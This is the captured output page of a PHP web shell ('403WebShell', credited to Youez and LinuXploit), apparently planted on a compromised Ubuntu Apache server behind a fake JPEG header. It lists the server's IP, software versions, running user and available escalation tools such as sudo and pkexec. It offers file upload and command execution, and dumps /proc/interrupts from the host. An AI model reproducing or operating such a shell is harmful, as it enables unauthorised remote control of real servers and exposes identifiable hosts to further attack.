????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.217.105
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc//interrupts
            CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      
   0:         20          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-edge      timer
   8:        323          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-edge      rtc0
   9:          2          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-fasteoi   acpi
  10:        109          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-edge      ipmi_si
  22:         75          0         25          0          0          0          0          0          0          0          0          0  IR-IO-APIC-fasteoi   ehci_hcd:usb2
  23:        194          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-fasteoi   ehci_hcd:usb1
  72:          0          0          0          0          0          0          0          0          0          0          0          0  DMAR_MSI-edge      dmar0
  73:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  74:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  75:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  76:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  77:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  78:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  79:   64888807   58559948   52077759   70087049   94511757  117496112          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  80:   50905296   46442353   31927160   35413033   46597143   58587352          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  81:   48989882   40963019   33113649   33816134   45705958   64716612          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  82:   70674078   50818486   45208322   45542776   68879323   86103102          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  83:   83461079   53139794   47441341   63336586   70195550  104209400          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  84:  115820107   48780994   60929344   78652623  112353575  120886376          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  85:    4246202    8702122    3825738    4141798    5571785    4855144          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  86:    4006782    6449710    3203495    3338036    5052318    4266915          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  87:    3625883    6369990    3103249    3026346    3843172    4063029          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  88:    5397509    6873598    3554504    3261790    5447103    4717534          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  89:    5491647    6680639    3802248    4796945    4447528    5236690          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  90:    6431900    6666993    3996210    4633695    6680951    4888261          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  91:    8503611   16023951    9342232    5797949   13184724   17320015          0          0          0          0          0          0  IR-PCI-MSI-edge      ahci
  92:         12          0 1979397357          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-tx-0
  93:          1          0          0 2883300714          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-rx-1
  94:          1          0          0          0 2089186994          0          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-rx-2
  95:          1          0          0          0          0 2491128868          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-rx-3
  96: 3078675307          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-rx-4
 NMI:    3291167    2993905    2974543    3075284    3197244    3297011    1683721    1699145    1720730    1688983    1695084    1680463   Non-maskable interrupts
 LOC: 3630711740 2914203871 2908075647 3467899981 3438186314 3629409949 4106174769 3930266657 3960782324 3896592958 3919864149 3888436868   Local timer interrupts
 SPU:          0          0          0          0          0          0          0          0          0          0          0          0   Spurious interrupts
 PMI:    3291167    2993905    2974543    3075284    3197244    3297011    1683721    1699145    1720730    1688983    1695084    1680463   Performance monitoring interrupts
 IWI:  149760715  214676959  190187581   50914797  129945894  153934952   36122874   40778803   37899728   48167137   45408221   41134009   IRQ work interrupts
 RTR:         11          0          0          0          0          0          0          0          0          0          0          0   APIC ICR read retries
 RES:  445530355  332974530  305624901  481453773  382319604  386147379  138893245  139287002  136366943  135439284  135269865  134752270   Rescheduling interrupts
 CAL:   32449122   26238672   24781639   27894259   31330699   33076326   11530401   12295491   12644223   12605089   12786632   11920259   Function call interrupts
 TLB:   28882377   23286669   21832644   24717475   27912245   29410451   10698687   11430913   11803842   11761950   11949492   11059504   TLB shootdowns
 TRM:          0          0          0          0          0          0          0          0          0          0          0          0   Thermal event interrupts
 THR:          0          0          0          0          0          0          0          0          0          0          0          0   Threshold APIC interrupts
 MCE:          0          0          0          0          0          0          0          0          0          0          0          0   Machine check exceptions
 MCP:     479045     479045     479045     479045     479045     479045     479045     479045     479045     479045     479045     479045   Machine check polls
 ERR:          0
 MIS:          0

Youez - 2016 - github.com/yon3zu
LinuXploit